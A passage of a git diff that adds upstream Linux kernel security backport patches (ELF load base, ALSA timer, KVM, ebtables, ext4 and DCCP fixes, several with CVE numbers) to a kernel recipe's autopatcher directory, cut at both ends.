acct_arg_size(bprm, size / PAGE_SIZE); + + /* +@@ -218,13 +236,15 @@ static struct page *get_arg_page(struct linux_binprm *bprm, unsigned long pos, + * to work from. + */ + rlim = current->signal->rlim; +- if (size > ACCESS_ONCE(rlim[RLIMIT_STACK].rlim_cur) / 4) { +- put_page(page); +- return NULL; +- } ++ if (size > READ_ONCE(rlim[RLIMIT_STACK].rlim_cur) / 4) ++ goto fail; + } + + return page; ++ ++fail: ++ put_page(page); ++ return NULL; + } + + static void put_arg_page(struct page *page) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0370-eab09532d400-binfmtelf use ELFETDYNBASE only for PIE.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0370-eab09532d400-binfmtelf use ELFETDYNBASE only for PIE.patch new file mode 100644 index 0000000..be3f3db --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0370-eab09532d400-binfmtelf use ELFETDYNBASE only for PIE.patch @@ -0,0 +1,172 @@ +From eab09532d40090698b05a07c1c87f39fdbc5fab5 Mon Sep 17 00:00:00 2001 +From: Kees Cook +Date: Mon, 10 Jul 2017 15:52:37 -0700 +Subject: binfmt_elf: use ELF_ET_DYN_BASE only for PIE + +The ELF_ET_DYN_BASE position was originally intended to keep loaders +away from ET_EXEC binaries. (For example, running "/lib/ld-linux.so.2 +/bin/cat" might cause the subsequent load of /bin/cat into where the +loader had been loaded.) + +With the advent of PIE (ET_DYN binaries with an INTERP Program Header), +ELF_ET_DYN_BASE continued to be used since the kernel was only looking +at ET_DYN. However, since ELF_ET_DYN_BASE is traditionally set at the +top 1/3rd of the TASK_SIZE, a substantial portion of the address space +is unused. + +For 32-bit tasks when RLIMIT_STACK is set to RLIM_INFINITY, programs are +loaded above the mmap region. This means they can be made to collide +(CVE-2017-1000370) or nearly collide (CVE-2017-1000371) with +pathological stack regions. + +Lowering ELF_ET_DYN_BASE solves both by moving programs below the mmap +region in all cases, and will now additionally avoid programs falling +back to the mmap region by enforcing MAP_FIXED for program loads (i.e. +if it would have collided with the stack, now it will fail to load +instead of falling back to the mmap region). + +To allow for a lower ELF_ET_DYN_BASE, loaders (ET_DYN without INTERP) +are loaded into the mmap region, leaving space available for either an +ET_EXEC binary with a fixed location or PIE being loaded into mmap by +the loader. Only PIE programs are loaded offset from ELF_ET_DYN_BASE, +which means architectures can now safely lower their values without risk +of loaders colliding with their subsequently loaded programs. + +For 64-bit, ELF_ET_DYN_BASE is best set to 4GB to allow runtimes to use +the entire 32-bit address space for 32-bit pointers. + +Thanks to PaX Team, Daniel Micay, and Rik van Riel for inspiration and +suggestions on how to implement this solution. + +Fixes: d1fd836dcf00 ("mm: split ET_DYN ASLR from mmap ASLR") +Link: http://lkml.kernel.org/r/20170621173201.GA114489@beast +Signed-off-by: Kees Cook +Acked-by: Rik van Riel +Cc: Daniel Micay +Cc: Qualys Security Advisory +Cc: Thomas Gleixner +Cc: Ingo Molnar +Cc: "H. Peter Anvin" +Cc: Alexander Viro +Cc: Dmitry Safonov +Cc: Andy Lutomirski +Cc: Grzegorz Andrejczuk +Cc: Masahiro Yamada +Cc: Benjamin Herrenschmidt +Cc: Catalin Marinas +Cc: Heiko Carstens +Cc: James Hogan +Cc: Martin Schwidefsky +Cc: Michael Ellerman +Cc: Paul Mackerras +Cc: Pratyush Anand +Cc: Russell King +Cc: Will Deacon +Cc: +Signed-off-by: Andrew Morton +Signed-off-by: Linus Torvalds +--- + arch/x86/include/asm/elf.h | 13 +++++----- + fs/binfmt_elf.c | 59 +++++++++++++++++++++++++++++++++++++++------- + 2 files changed, 58 insertions(+), 14 deletions(-) + +diff --git a/arch/x86/include/asm/elf.h b/arch/x86/include/asm/elf.h +index e8ab9a46bc68..1c18d83d3f09 100644 +--- a/arch/x86/include/asm/elf.h ++++ b/arch/x86/include/asm/elf.h +@@ -245,12 +245,13 @@ extern int force_personality32; + #define CORE_DUMP_USE_REGSET + #define ELF_EXEC_PAGESIZE 4096 + +-/* This is the location that an ET_DYN program is loaded if exec'ed. Typical +- use of this is to invoke "./ld.so someprog" to test out a new version of +- the loader. We need to make sure that it is out of the way of the program +- that it will "exec", and that there is sufficient room for the brk. */ +- +-#define ELF_ET_DYN_BASE (TASK_SIZE / 3 * 2) ++/* ++ * This is the base location for PIE (ET_DYN with INTERP) loads. On ++ * 64-bit, this is raised to 4GB to leave the entire 32-bit address ++ * space open for things that want to use the area for 32-bit pointers. ++ */ ++#define ELF_ET_DYN_BASE (mmap_is_ia32() ? 0x000400000UL : \ ++ 0x100000000UL) + + /* This yields a mask that user programs can use to figure out what + instruction set this CPU supports. This could be done in user space, +diff --git a/fs/binfmt_elf.c b/fs/binfmt_elf.c +index 5075fd5c62c8..7465c3ea5dd5 100644 +--- a/fs/binfmt_elf.c ++++ b/fs/binfmt_elf.c +@@ -927,17 +927,60 @@ static int load_elf_binary(struct linux_binprm *bprm) + elf_flags = MAP_PRIVATE | MAP_DENYWRITE | MAP_EXECUTABLE; + + vaddr = elf_ppnt->p_vaddr; ++ /* ++ * If we are loading ET_EXEC or we have already performed ++ * the ET_DYN load_addr calculations, proceed normally. ++ */ + if (loc->elf_ex.e_type == ET_EXEC || load_addr_set) { + elf_flags |= MAP_FIXED; + } else if (loc->elf_ex.e_type == ET_DYN) { +- /* Try and get dynamic programs out of the way of the +- * default mmap base, as well as whatever program they +- * might try to exec. This is because the brk will +- * follow the loader, and is not movable. */ +- load_bias = ELF_ET_DYN_BASE - vaddr; +- if (current->flags & PF_RANDOMIZE) +- load_bias += arch_mmap_rnd(); +- load_bias = ELF_PAGESTART(load_bias); ++ /* ++ * This logic is run once for the first LOAD Program ++ * Header for ET_DYN binaries to calculate the ++ * randomization (load_bias) for all the LOAD ++ * Program Headers, and to calculate the entire ++ * size of the ELF mapping (total_size). (Note that ++ * load_addr_set is set to true later once the ++ * initial mapping is performed.) ++ * ++ * There are effectively two types of ET_DYN ++ * binaries: programs (i.e. PIE: ET_DYN with INTERP) ++ * and loaders (ET_DYN without INTERP, since they ++ * _are_ the ELF interpreter). The loaders must ++ * be loaded away from programs since the program ++ * may otherwise collide with the loader (especially ++ * for ET_EXEC which does not have a randomized ++ * position). For example to handle invocations of ++ * "./ld.so someprog" to test out a new version of ++ * the loader, the subsequent program that the ++ * loader loads must avoid the loader itself, so ++ * they cannot share the same load range. Sufficient ++ * room for the brk must be allocated with the ++ * loader as well, since brk must be available with ++ * the loader. ++ * ++ * Therefore, programs are loaded offset from ++ * ELF_ET_DYN_BASE and loaders are loaded into the ++ * independently randomized mmap region (0 load_bias ++ * without MAP_FIXED). ++ */ ++ if (elf_interpreter) { ++ load_bias = ELF_ET_DYN_BASE; ++ if (current->flags & PF_RANDOMIZE) ++ load_bias += arch_mmap_rnd(); ++ elf_flags |= MAP_FIXED; ++ } else ++ load_bias = 0; ++ ++ /* ++ * Since load_bias is used for all subsequent loading ++ * calculations, we must lower it by the first vaddr ++ * so that the remaining calculations based on the ++ * ELF vaddrs will be correctly offset. The result ++ * is then page aligned. ++ */ ++ load_bias = ELF_PAGESTART(load_bias - vaddr); ++ + total_size = total_mapping_size(elf_phdata, + loc->elf_ex.e_phnum); + if (!total_size) { +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0371-69413811d253-ALSA timer Fix missing queue indices reset at.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0371-69413811d253-ALSA timer Fix missing queue indices reset at.patch new file mode 100644 index 0000000..b0a5c73 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0371-69413811d253-ALSA timer Fix missing queue indices reset at.patch @@ -0,0 +1,58 @@ +From 69413811d2536f8ad626cc9537d34dd39133ebab Mon Sep 17 00:00:00 2001 +From: Takashi Iwai +Date: Fri, 2 Jun 2017 17:26:56 +0200 +Subject: ALSA: timer: Fix missing queue indices reset at + SNDRV_TIMER_IOCTL_SELECT + +commit ba3021b2c79b2fa9114f92790a99deb27a65b728 upstream. + +snd_timer_user_tselect() reallocates the queue buffer dynamically, but +it forgot to reset its indices. Since the read may happen +concurrently with ioctl and snd_timer_user_tselect() allocates the +buffer via kmalloc(), this may lead to the leak of uninitialized +kernel-space data, as spotted via KMSAN: + + BUG: KMSAN: use of unitialized memory in snd_timer_user_read+0x6c4/0xa10 + CPU: 0 PID: 1037 Comm: probe Not tainted 4.11.0-rc5+ #2739 + Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 + Call Trace: + __dump_stack lib/dump_stack.c:16 + dump_stack+0x143/0x1b0 lib/dump_stack.c:52 + kmsan_report+0x12a/0x180 mm/kmsan/kmsan.c:1007 + kmsan_check_memory+0xc2/0x140 mm/kmsan/kmsan.c:1086 + copy_to_user ./arch/x86/include/asm/uaccess.h:725 + snd_timer_user_read+0x6c4/0xa10 sound/core/timer.c:2004 + do_loop_readv_writev fs/read_write.c:716 + __do_readv_writev+0x94c/0x1380 fs/read_write.c:864 + do_readv_writev fs/read_write.c:894 + vfs_readv fs/read_write.c:908 + do_readv+0x52a/0x5d0 fs/read_write.c:934 + SYSC_readv+0xb6/0xd0 fs/read_write.c:1021 + SyS_readv+0x87/0xb0 fs/read_write.c:1018 + +This patch adds the missing reset of queue indices. Together with the +previous fix for the ioctl/read race, we cover the whole problem. + +Reported-by: Alexander Potapenko +Tested-by: Alexander Potapenko +Signed-off-by: Takashi Iwai +Signed-off-by: Greg Kroah-Hartman +--- + sound/core/timer.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/sound/core/timer.c b/sound/core/timer.c +index d448437df4b5c..2779728127d2f 100644 +--- a/sound/core/timer.c ++++ b/sound/core/timer.c +@@ -1620,6 +1620,7 @@ static int snd_timer_user_tselect(struct file *file, + if (err < 0) + goto __err; + ++ tu->qhead = tu->qtail = tu->qused = 0; + kfree(tu->queue); + tu->queue = NULL; + kfree(tu->tqueue); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0372-7389171fdc59-KVM VMX remove IO port 0x80 bypass on Intel hosts.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0372-7389171fdc59-KVM VMX remove IO port 0x80 bypass on Intel hosts.patch new file mode 100644 index 0000000..c42d793 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0372-7389171fdc59-KVM VMX remove IO port 0x80 bypass on Intel hosts.patch @@ -0,0 +1,52 @@ +From 7389171fdc5976066573edd1fcf6c9a81d8df90f Mon Sep 17 00:00:00 2001 +From: Andrew Honig +Date: Fri, 1 Dec 2017 10:21:09 -0800 +Subject: KVM: VMX: remove I/O port 0x80 bypass on Intel hosts +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +commit d59d51f088014f25c2562de59b9abff4f42a7468 upstream. + +This fixes CVE-2017-1000407. + +KVM allows guests to directly access I/O port 0x80 on Intel hosts. If +the guest floods this port with writes it generates exceptions and +instability in the host kernel, leading to a crash. With this change +guest writes to port 0x80 on Intel will behave the same as they +currently behave on AMD systems. + +Prevent the flooding by removing the code that sets port 0x80 as a +passthrough port. This is essentially the same as upstream patch +99f85a28a78e96d28907fe036e1671a218fee597, except that patch was +for AMD chipsets and this patch is for Intel. + +Signed-off-by: Andrew Honig +Signed-off-by: Jim Mattson +Fixes: fdef3ad1b386 ("KVM: VMX: Enable io bitmaps to avoid IO port 0x80 VMEXITs") +Signed-off-by: Radim Krčmář +Signed-off-by: Greg Kroah-Hartman +--- + arch/x86/kvm/vmx.c | 5 ----- + 1 file changed, 5 deletions(-) + +diff --git a/arch/x86/kvm/vmx.c b/arch/x86/kvm/vmx.c +index 66a6f57634be..863a473e6f36 100644 +--- a/arch/x86/kvm/vmx.c ++++ b/arch/x86/kvm/vmx.c +@@ -9280,12 +9280,7 @@ static int __init vmx_init(void) + memset(vmx_vmread_bitmap, 0xff, PAGE_SIZE); + memset(vmx_vmwrite_bitmap, 0xff, PAGE_SIZE); + +- /* +- * Allow direct access to the PC debug port (it is often used for I/O +- * delays, but the vmexits simply slow things down). +- */ + memset(vmx_io_bitmap_a, 0xff, PAGE_SIZE); +- clear_bit(0x80, vmx_io_bitmap_a); + + memset(vmx_io_bitmap_b, 0xff, PAGE_SIZE); + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0373-c80a9f329cb3-netfilter ebtables CONFIGCOMPAT dont trust userland offsets.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0373-c80a9f329cb3-netfilter ebtables CONFIGCOMPAT dont trust userland offsets.patch new file mode 100644 index 0000000..00145e3 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0373-c80a9f329cb3-netfilter ebtables CONFIGCOMPAT dont trust userland offsets.patch @@ -0,0 +1,60 @@ +From c80a9f329cb358cf2ae967c866d883264d218b7b Mon Sep 17 00:00:00 2001 +From: Florian Westphal +Date: Mon, 19 Feb 2018 01:24:15 +0100 +Subject: netfilter: ebtables: CONFIG_COMPAT: don't trust userland offsets + +commit b71812168571fa55e44cdd0254471331b9c4c4c6 upstream. + +We need to make sure the offsets are not out of range of the +total size. +Also check that they are in ascending order. + +The WARN_ON triggered by syzkaller (it sets panic_on_warn) is +changed to also bail out, no point in continuing parsing. + +Briefly tested with simple ruleset of +-A INPUT --limit 1/s' --log +plus jump to custom chains using 32bit ebtables binary. + +Reported-by: +Signed-off-by: Florian Westphal +Signed-off-by: Pablo Neira Ayuso +Signed-off-by: Greg Kroah-Hartman +--- + net/bridge/netfilter/ebtables.c | 13 ++++++++++++- + 1 file changed, 12 insertions(+), 1 deletion(-) + +diff --git a/net/bridge/netfilter/ebtables.c b/net/bridge/netfilter/ebtables.c +index d9a8c05d995d1..653d72979ee19 100644 +--- a/net/bridge/netfilter/ebtables.c ++++ b/net/bridge/netfilter/ebtables.c +@@ -2019,7 +2019,9 @@ static int ebt_size_mwt(struct compat_ebt_entry_mwt *match32, + if (match_kern) + match_kern->match_size = ret; + +- WARN_ON(type == EBT_COMPAT_TARGET && size_left); ++ if (WARN_ON(type == EBT_COMPAT_TARGET && size_left)) ++ return -EINVAL; ++ + match32 = (struct compat_ebt_entry_mwt *) buf; + } + +@@ -2076,6 +2078,15 @@ static int size_entry_mwt(struct ebt_entry *entry, const unsigned char *base, + * + * offsets are relative to beginning of struct ebt_entry (i.e., 0). + */ ++ for (i = 0; i < 4 ; ++i) { ++ if (offsets[i] >= *total) ++ return -EINVAL; ++ if (i == 0) ++ continue; ++ if (offsets[i-1] > offsets[i]) ++ return -EINVAL; ++ } ++ + for (i = 0, j = 1 ; j < 4 ; j++, i++) { + struct compat_ebt_entry_mwt *match32; + unsigned int size; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0374-932909d9b28d-netfilter ebtables fix erroneous reject of last rule.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0374-932909d9b28d-netfilter ebtables fix erroneous reject of last rule.patch new file mode 100644 index 0000000..7bcea79 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0374-932909d9b28d-netfilter ebtables fix erroneous reject of last rule.patch @@ -0,0 +1,36 @@ +From 932909d9b28d27e807ff8eecb68c7748f6701628 Mon Sep 17 00:00:00 2001 +From: Florian Westphal +Date: Thu, 8 Mar 2018 12:54:19 +0100 +Subject: netfilter: ebtables: fix erroneous reject of last rule + +The last rule in the blob has next_entry offset that is same as total size. +This made "ebtables32 -A OUTPUT -d de:ad:be:ef:01:02" fail on 64 bit kernel. + +Fixes: b71812168571fa ("netfilter: ebtables: CONFIG_COMPAT: don't trust userland offsets") +Signed-off-by: Florian Westphal +Signed-off-by: Pablo Neira Ayuso +--- + net/bridge/netfilter/ebtables.c | 6 +++++- + 1 file changed, 5 insertions(+), 1 deletion(-) + +diff --git a/net/bridge/netfilter/ebtables.c b/net/bridge/netfilter/ebtables.c +index 254ef9f495679..a94d23b0a9af3 100644 +--- a/net/bridge/netfilter/ebtables.c ++++ b/net/bridge/netfilter/ebtables.c +@@ -2119,8 +2119,12 @@ static int size_entry_mwt(struct ebt_entry *entry, const unsigned char *base, + * offsets are relative to beginning of struct ebt_entry (i.e., 0). + */ + for (i = 0; i < 4 ; ++i) { +- if (offsets[i] >= *total) ++ if (offsets[i] > *total) + return -EINVAL; ++ ++ if (i < 3 && offsets[i] == *total) ++ return -EINVAL; ++ + if (i == 0) + continue; + if (offsets[i-1] > offsets[i]) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0375-e7dc809e8042-kvmx86 fix icebp instruction handling.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0375-e7dc809e8042-kvmx86 fix icebp instruction handling.patch new file mode 100644 index 0000000..45b3094 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0375-e7dc809e8042-kvmx86 fix icebp instruction handling.patch @@ -0,0 +1,88 @@ +From e7dc809e8042cf3d2c48ffa616941a8b11d3beba Mon Sep 17 00:00:00 2001 +From: Linus Torvalds +Date: Tue, 20 Mar 2018 12:16:59 -0700 +Subject: kvm/x86: fix icebp instruction handling + +commit 32d43cd391bacb5f0814c2624399a5dad3501d09 upstream. + +The undocumented 'icebp' instruction (aka 'int1') works pretty much like +'int3' in the absense of in-circuit probing equipment (except, +obviously, that it raises #DB instead of raising #BP), and is used by +some validation test-suites as such. + +But Andy Lutomirski noticed that his test suite acted differently in kvm +than on bare hardware. + +The reason is that kvm used an inexact test for the icebp instruction: +it just assumed that an all-zero VM exit qualification value meant that +the VM exit was due to icebp. + +That is not unlike the guess that do_debug() does for the actual +exception handling case, but it's purely a heuristic, not an absolute +rule. do_debug() does it because it wants to ascribe _some_ reasons to +the #DB that happened, and an empty %dr6 value means that 'icebp' is the +most likely casue and we have no better information. + +But kvm can just do it right, because unlike the do_debug() case, kvm +actually sees the real reason for the #DB in the VM-exit interruption +information field. + +So instead of relying on an inexact heuristic, just use the actual VM +exit information that says "it was 'icebp'". + +Right now the 'icebp' instruction isn't technically documented by Intel, +but that will hopefully change. The special "privileged software +exception" information _is_ actually mentioned in the Intel SDM, even +though the cause of it isn't enumerated. + +Reported-by: Andy Lutomirski +Tested-by: Paolo Bonzini +Signed-off-by: Linus Torvalds +Signed-off-by: Greg Kroah-Hartman +--- + arch/x86/include/asm/vmx.h | 1 + + arch/x86/kvm/vmx.c | 9 ++++++++- + 2 files changed, 9 insertions(+), 1 deletion(-) + +diff --git a/arch/x86/include/asm/vmx.h b/arch/x86/include/asm/vmx.h +index bcbfade26d8d5..e9c85e20ef4e9 100644 +--- a/arch/x86/include/asm/vmx.h ++++ b/arch/x86/include/asm/vmx.h +@@ -299,6 +299,7 @@ enum vmcs_field { + #define INTR_TYPE_NMI_INTR (2 << 8) /* NMI */ + #define INTR_TYPE_HARD_EXCEPTION (3 << 8) /* processor exception */ + #define INTR_TYPE_SOFT_INTR (4 << 8) /* software interrupt */ ++#define INTR_TYPE_PRIV_SW_EXCEPTION (5 << 8) /* ICE breakpoint - undocumented */ + #define INTR_TYPE_SOFT_EXCEPTION (6 << 8) /* software exception */ + + /* GUEST_INTERRUPTIBILITY_INFO flags. */ +diff --git a/arch/x86/kvm/vmx.c b/arch/x86/kvm/vmx.c +index 9b02ba40fed05..6f474785c7678 100644 +--- a/arch/x86/kvm/vmx.c ++++ b/arch/x86/kvm/vmx.c +@@ -883,6 +883,13 @@ static inline bool is_machine_check(u32 intr_info) + (INTR_TYPE_HARD_EXCEPTION | MC_VECTOR | INTR_INFO_VALID_MASK); + } + ++/* Undocumented: icebp/int1 */ ++static inline bool is_icebp(u32 intr_info) ++{ ++ return (intr_info & (INTR_INFO_INTR_TYPE_MASK | INTR_INFO_VALID_MASK)) ++ == (INTR_TYPE_PRIV_SW_EXCEPTION | INTR_INFO_VALID_MASK); ++} ++ + static inline bool cpu_has_vmx_msr_bitmap(void) + { + return vmcs_config.cpu_based_exec_ctrl & CPU_BASED_USE_MSR_BITMAPS; +@@ -4951,7 +4958,7 @@ static int handle_exception(struct kvm_vcpu *vcpu) + (KVM_GUESTDBG_SINGLESTEP | KVM_GUESTDBG_USE_HW_BP))) { + vcpu->arch.dr6 &= ~15; + vcpu->arch.dr6 |= dr6 | DR6_RTM; +- if (!(dr6 & ~DR6_RESERVED)) /* icebp */ ++ if (is_icebp(intr_info)) + skip_emulated_instruction(vcpu); + + kvm_queue_exception(vcpu, DB_VECTOR); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0376-bf1b17715e91-ext4 fail ext4iget for root directory if unallocated.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0376-bf1b17715e91-ext4 fail ext4iget for root directory if unallocated.patch new file mode 100644 index 0000000..3f5d018 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0376-bf1b17715e91-ext4 fail ext4iget for root directory if unallocated.patch @@ -0,0 +1,49 @@ +From bf1b17715e9117c1c22c7a24e38f27a92eb98413 Mon Sep 17 00:00:00 2001 +From: Theodore Ts'o +Date: Thu, 29 Mar 2018 21:56:09 -0400 +Subject: ext4: fail ext4_iget for root directory if unallocated + +commit 8e4b5eae5decd9dfe5a4ee369c22028f90ab4c44 upstream. + +If the root directory has an i_links_count of zero, then when the file +system is mounted, then when ext4_fill_super() notices the problem and +tries to call iput() the root directory in the error return path, +ext4_evict_inode() will try to free the inode on disk, before all of +the file system structures are set up, and this will result in an OOPS +caused by a NULL pointer dereference. + +This issue has been assigned CVE-2018-1092. + +https://bugzilla.kernel.org/show_bug.cgi?id=199179 +https://bugzilla.redhat.com/show_bug.cgi?id=1560777 + +Reported-by: Wen Xu +Signed-off-by: Theodore Ts'o +Cc: stable@vger.kernel.org +[harsh@prjkt.io: s/EFSCORRUPTED/EUCLEAN/ fs/ext4/inode.c] +Signed-off-by: Harsh Shandilya +Signed-off-by: Greg Kroah-Hartman +--- + fs/ext4/inode.c | 6 ++++++ + 1 file changed, 6 insertions(+) + +diff --git a/fs/ext4/inode.c b/fs/ext4/inode.c +index c2434d72681e7..859af265ae1b8 100644 +--- a/fs/ext4/inode.c ++++ b/fs/ext4/inode.c +@@ -3975,6 +3975,12 @@ struct inode *ext4_iget(struct super_block *sb, unsigned long ino) + goto bad_inode; + raw_inode = ext4_raw_inode(&iloc); + ++ if ((ino == EXT4_ROOT_INO) && (raw_inode->i_links_count == 0)) { ++ EXT4_ERROR_INODE(inode, "root inode unallocated"); ++ ret = -EUCLEAN; ++ goto bad_inode; ++ } ++ + if (EXT4_INODE_SIZE(inode->i_sb) > EXT4_GOOD_OLD_INODE_SIZE) { + ei->i_extra_isize = le16_to_cpu(raw_inode->i_extra_isize); + if (EXT4_GOOD_OLD_INODE_SIZE + ei->i_extra_isize > +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0377-0643dbdb5c69-ext4 add validity checks for bitmap block numbers.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0377-0643dbdb5c69-ext4 add validity checks for bitmap block numbers.patch new file mode 100644 index 0000000..3c3ddfa --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0377-0643dbdb5c69-ext4 add validity checks for bitmap block numbers.patch @@ -0,0 +1,116 @@ +From 0643dbdb5c697fbe20dd380bcb3faa1dcec03b78 Mon Sep 17 00:00:00 2001 +From: Theodore Ts'o +Date: Mon, 26 Mar 2018 23:54:10 -0400 +Subject: ext4: add validity checks for bitmap block numbers + +commit 7dac4a1726a9c64a517d595c40e95e2d0d135f6f upstream. + +An privileged attacker can cause a crash by mounting a crafted ext4 +image which triggers a out-of-bounds read in the function +ext4_valid_block_bitmap() in fs/ext4/balloc.c. + +This issue has been assigned CVE-2018-1093. + +Backport notes: +3.18.y is missing commit 6a797d273783 ("ext4: call out CRC and corruption errors with specific error codes") +so the EFSCORRUPTED label doesn't exist. Replaced +all instances of EFSCORRUPTED with EUCLEAN since that's +what 6a797d273783 defined it as. + +BugLink: https://bugzilla.kernel.org/show_bug.cgi?id=199181 +BugLink: https://bugzilla.redhat.com/show_bug.cgi?id=1560782 +Reported-by: Wen Xu +Signed-off-by: Theodore Ts'o +Cc: stable@vger.kernel.org +[harsh@prjkt.io: s/EFSCORRUPTED/EUCLEAN/ fs/ext4/balloc.c] +Signed-off-by: Harsh Shandilya +Signed-off-by: Greg Kroah-Hartman +--- + fs/ext4/balloc.c | 16 ++++++++++++++-- + fs/ext4/ialloc.c | 8 +++++++- + 2 files changed, 21 insertions(+), 3 deletions(-) + +diff --git a/fs/ext4/balloc.c b/fs/ext4/balloc.c +index 0a46c50f1bdc3..cbc1c40818f5e 100644 +--- a/fs/ext4/balloc.c ++++ b/fs/ext4/balloc.c +@@ -338,20 +338,25 @@ static ext4_fsblk_t ext4_valid_block_bitmap(struct super_block *sb, + /* check whether block bitmap block number is set */ + blk = ext4_block_bitmap(sb, desc); + offset = blk - group_first_block; +- if (!ext4_test_bit(EXT4_B2C(sbi, offset), bh->b_data)) ++ if (offset < 0 || EXT4_B2C(sbi, offset) >= sb->s_blocksize || ++ !ext4_test_bit(EXT4_B2C(sbi, offset), bh->b_data)) + /* bad block bitmap */ + return blk; + + /* check whether the inode bitmap block number is set */ + blk = ext4_inode_bitmap(sb, desc); + offset = blk - group_first_block; +- if (!ext4_test_bit(EXT4_B2C(sbi, offset), bh->b_data)) ++ if (offset < 0 || EXT4_B2C(sbi, offset) >= sb->s_blocksize || ++ !ext4_test_bit(EXT4_B2C(sbi, offset), bh->b_data)) + /* bad block bitmap */ + return blk; + + /* check whether the inode table block number is set */ + blk = ext4_inode_table(sb, desc); + offset = blk - group_first_block; ++ if (offset < 0 || EXT4_B2C(sbi, offset) >= sb->s_blocksize || ++ EXT4_B2C(sbi, offset + sbi->s_itb_per_group) >= sb->s_blocksize) ++ return blk; + next_zero_bit = ext4_find_next_zero_bit(bh->b_data, + EXT4_B2C(sbi, offset + EXT4_SB(sb)->s_itb_per_group), + EXT4_B2C(sbi, offset)); +@@ -414,6 +419,7 @@ struct buffer_head * + ext4_read_block_bitmap_nowait(struct super_block *sb, ext4_group_t block_group) + { + struct ext4_group_desc *desc; ++ struct ext4_sb_info *sbi = EXT4_SB(sb); + struct buffer_head *bh; + ext4_fsblk_t bitmap_blk; + +@@ -421,6 +427,12 @@ ext4_read_block_bitmap_nowait(struct super_block *sb, ext4_group_t block_group) + if (!desc) + return NULL; + bitmap_blk = ext4_block_bitmap(sb, desc); ++ if ((bitmap_blk <= le32_to_cpu(sbi->s_es->s_first_data_block)) || ++ (bitmap_blk >= ext4_blocks_count(sbi->s_es))) { ++ ext4_error(sb, "Invalid block bitmap block %llu in " ++ "block_group %u", bitmap_blk, block_group); ++ return ERR_PTR(-EUCLEAN); ++ } + bh = sb_getblk(sb, bitmap_blk); + if (unlikely(!bh)) { + ext4_error(sb, "Cannot get buffer for block bitmap - " +diff --git a/fs/ext4/ialloc.c b/fs/ext4/ialloc.c +index 49b1e2cb0a2b4..28aaf640745f0 100644 +--- a/fs/ext4/ialloc.c ++++ b/fs/ext4/ialloc.c +@@ -84,16 +84,22 @@ static struct buffer_head * + ext4_read_inode_bitmap(struct super_block *sb, ext4_group_t block_group) + { + struct ext4_group_desc *desc; ++ struct ext4_sb_info *sbi = EXT4_SB(sb); + struct buffer_head *bh = NULL; + ext4_fsblk_t bitmap_blk; + struct ext4_group_info *grp; +- struct ext4_sb_info *sbi = EXT4_SB(sb); + + desc = ext4_get_group_desc(sb, block_group, NULL); + if (!desc) + return NULL; + + bitmap_blk = ext4_inode_bitmap(sb, desc); ++ if ((bitmap_blk <= le32_to_cpu(sbi->s_es->s_first_data_block)) || ++ (bitmap_blk >= ext4_blocks_count(sbi->s_es))) { ++ ext4_error(sb, "Invalid inode bitmap blk %llu in " ++ "block_group %u", bitmap_blk, block_group); ++ return ERR_PTR(-EUCLEAN); ++ } + bh = sb_getblk(sb, bitmap_blk); + if (unlikely(!bh)) { + ext4_error(sb, "Cannot read inode bitmap - " +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0378-e717aef0e7ed-dccp check sk for closed state in dccpsendmsg.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0378-e717aef0e7ed-dccp check sk for closed state in dccpsendmsg.patch new file mode 100644 index 0000000..9bf6287 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0378-e717aef0e7ed-dccp check sk for closed state in dccpsendmsg.patch @@ -0,0 +1,43 @@ +From e717aef0e7ed299b43812cd1a2bcf5888eafad9b Mon Sep 17 00:00:00 2001 +From: Alexey Kodanev +Date: Tue, 6 Mar 2018 22:57:01 +0300 +Subject: dccp: check sk for closed state in dccp_sendmsg() + +[ Upstream commit 67f93df79aeefc3add4e4b31a752600f834236e2 ] + +dccp_disconnect() sets 'dp->dccps_hc_tx_ccid' tx handler to NULL, +therefore if DCCP socket is disconnected and dccp_sendmsg() is +called after it, it will cause a NULL pointer dereference in +dccp_write_xmit(). + +This crash and the reproducer was reported by syzbot. Looks like +it is reproduced if commit 69c64866ce07 ("dccp: CVE-2017-8824: +use-after-free in DCCP code") is applied. + +Reported-by: syzbot+f99ab3887ab65d70f816@syzkaller.appspotmail.com +Signed-off-by: Alexey Kodanev +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/dccp/proto.c | 5 +++++ + 1 file changed, 5 insertions(+) + +diff --git a/net/dccp/proto.c b/net/dccp/proto.c +index dad5493c7c5a..2b8fd8cd709d 